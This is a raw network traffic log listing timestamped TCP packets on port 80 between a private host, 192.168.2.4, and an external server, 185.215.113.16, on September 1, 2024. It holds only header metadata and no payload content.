Sep 1, 2024 02:48:04.845540047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845540047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845551968 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845560074 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845568895 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845576048 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845598936 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845628977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845638990 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845649004 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845659018 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845665932 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845671892 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845685959 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845710993 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845768929 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845778942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845788956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845798016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845801115 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845808983 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845815897 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845824957 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845839024 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845855951 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845864058 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845865965 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845900059 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845927000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845940113 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845949888 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845958948 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845978022 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.845985889 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.845988035 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846003056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846010923 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846036911 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846056938 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846132994 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846185923 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846214056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846224070 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846241951 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846250057 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846252918 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846263885 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846277952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846282959 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846288919 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846308947 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846328974 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846359968 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846369982 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846383095 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846404076 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846431017 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846486092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846493959 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846499920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846508980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846518040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846528053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846541882 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846561909 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846566916 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846584082 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846591949 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846601963 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846604109 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846626043 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846640110 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846671104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846681118 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846689939 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846700907 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.846713066 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.846735001 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.847436905 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847446918 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847459078 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847486973 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.847506046 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.847512007 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847526073 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847536087 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847544909 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847548962 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.847554922 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.847569942 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.847593069 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.848551989 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.848562956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.848567963 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.848573923 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.848602057 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.848619938 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.881792068 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.881815910 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.881820917 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.881838083 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.881843090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.881989002 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.906666994 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906677008 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906691074 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906738997 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.906761885 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906773090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906783104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906789064 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.906797886 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906807899 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.906814098 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.906847000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907037020 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907047033 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907057047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907068968 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907077074 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907097101 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907124043 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907126904 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907138109 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907146931 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907160997 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907166004 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907171011 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907181978 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907186985 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907198906 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907207012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907212019 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907217026 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907234907 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907241106 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907263994 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907294035 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907412052 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907452106 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907465935 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907476902 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907505989 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907517910 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907588005 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907598019 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907618046 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907628059 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907629013 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907636881 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907654047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907665968 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907675028 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907685041 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907711029 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907830954 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907841921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907850981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907867908 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907896996 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907907963 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907919884 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.907944918 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.907973051 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.931773901 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931828976 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931833982 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931842089 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931848049 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931853056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931859016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931925058 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931935072 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931945086 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931984901 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.931984901 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.931994915 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932004929 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932005882 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932014942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932024002 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932029963 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932038069 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932074070 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932094097 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932130098 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932157040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932166100 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932193041 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932202101 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932224035 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932234049 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932243109 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932252884 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932262897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932266951 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932291031 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932308912 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932363033 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932373047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932387114 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932396889 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932416916 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932427883 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932431936 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932439089 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932449102 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932455063 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932475090 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932497978 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932523012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932533026 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932560921 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932564974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932570934 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932574987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932589054 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932607889 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932615995 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932626009 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932631969 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932636976 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932647943 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932666063 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932687998 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932703972 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932713985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932722092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932753086 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932777882 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932924986 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932934046 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932943106 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932960987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932970047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932972908 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.932981014 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.932993889 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933011055 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933031082 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933054924 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933064938 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933074951 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933099985 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933126926 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933219910 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933229923 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933238983 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933249950 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933259010 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933267117 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933268070 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933275938 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933286905 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933290958 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933296919 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933309078 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933312893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933322906 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933324099 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933331966 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933341026 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933351040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933351040 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933367014 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933373928 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933377981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933394909 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933399916 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933409929 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933438063 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.933790922 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.933837891 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.934228897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934238911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934247971 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934268951 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.934293032 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.934293985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934304953 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934314013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934324026 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934329987 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.934351921 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.934390068 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.934432030 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.935116053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935161114 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935163975 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.935169935 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935192108 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.935203075 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.935219049 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935228109 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935240984 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935250998 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935254097 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.935262918 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.935266972 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.935291052 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.935307026 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.993470907 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993480921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993486881 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993490934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993501902 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993514061 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993520021 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993731976 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.993889093 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993899107 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993908882 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993941069 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.993952990 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.993958950 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993968964 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993978977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993988037 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.993998051 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994004011 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994035006 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994046926 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994087934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994096994 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994112015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994123936 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994123936 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994133949 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994138002 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994143963 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994149923 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994154930 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994169950 CEST	49731	80	192.168.2.4	185.215.113.16
